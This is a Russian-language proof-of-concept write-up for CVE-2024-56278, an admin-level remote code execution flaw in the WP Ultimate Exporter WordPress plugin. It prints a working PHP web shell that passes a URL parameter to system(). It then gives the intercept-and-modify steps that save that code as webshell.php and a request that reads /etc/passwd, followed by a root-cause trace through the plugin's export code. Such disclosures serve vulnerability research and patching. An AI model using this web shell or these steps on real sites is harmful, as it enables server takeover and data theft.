
Доказательство концепции эксплуатации CVE-2024-56278 — уязвимости удалённого выполнения кода в плагине WP Ultimate Exporter для WordPress, демонстрирующее загрузку файла в PHP-вебшелл.
Плагин WordPress
Название компонента WP Ultimate Exporter
Уязвимая версия <= 2.9.1
Слаг компонента wp-ultimate-exporter
Ссылка на компонент https://wordpress.org/plugins/wp-ultimate-exporter/
Класс уязвимости A4: Небезопасный дизайн
Тип уязвимости Удалённое выполнение кода (RCE)
Администратор
Плагин WP Ultimate Exporter является дополнением к плагину WP Ultimate CSV Importer. Этот плагин позволяет экспортировать все записи, товары, заказы, возвраты и данные пользователей в форматах CSV, XLS, XML и JSON. При экспорте файлы создаются в пути загрузки, и плагин только передаёт содержимое этих файлов пользователям.
В плагине WP Ultimate Exporter версии 2.9.1 и ниже при запросе экспорта данных, если расширение файла в данных запроса установлено как PHP, в пути загрузки создаётся PHP-файл. Поэтому, если содержимое созданного файла содержит PHP-синтаксис, возникает уязвимость удалённого выполнения кода (RCE), поскольку PHP-синтаксис выполняется при обращении к этому файлу.
⚠️ Поскольку плагин 'WP Ultimate Exporter' является дополнением к плагину 'WP Ultimate CSV Importer', оба плагина должны быть установлены.
Создайте новую запись с помощью редактора кода (сочетание клавиш: ⇧ ⌥ ⌘ M) со следующим содержимым:
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
Перейдите на вкладку 'Export' плагина WP Ultimate Exporter. Доступ к ней можно получить, нажав на вкладку 'Export' в панели управления плагина WP Ultimate CSV Importer (/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu).
Запустите прокси-инструмент (например, BurpSuite) для перехвата пакетов запросов и выполните следующие шаги с включённым перехватом.
Затем выберите 'Posts' в разделе 'Select the module to Export Data' и перейдите к следующему шагу.

Export File Name Введите 'webshell'Advanced Settings Выберите 'CSV'
/wp-admin/admin-ajax.php отправляется запрос методом POST для экспорта данных. Измените значение exp_type в данных запроса с csv на php, затем нажмите Forward.
/wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd в адресной строке браузера, чтобы отобразить содержимое файла /etc/passwd на сервере, где установлен WordPress. Это демонстрирует уязвимость RCE.
При экспорте данных в плагине WP Ultimate Exporter вызывается функция parseData в файле /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php.
На этом этапе не выполняется никакой фильтрации данных запроса exp_type, определяющих формат экспортируемых данных, и значение напрямую вставляется в переменную-член $this->exportType.

Впоследствии вызывается функция proceedExport для сохранения данных в файл. На этом этапе при инициализации переменной $file, определяющей путь хранения файла, переменная-член $this->exportType также используется без какой-либо фильтрации.

Впоследствии путь к файлу, хранящийся в переменной $file, передаётся в качестве аргумента функции file_put_contents, и на этом этапе файл сохраняется с расширением, указанным в данных запроса exp_type, которое применяется напрямую.

Поэтому, когда данные записи, содержащие код Web Shell, сохраняются как PHP-файл и к этому файлу осуществляется доступ, возникает уязвимость удалённого выполнения кода (RCE), поскольку PHP-код выполняется.


Затем введите следующую команду для выполнения PoC-кода.
Требуемый модульrequests
python poc.py
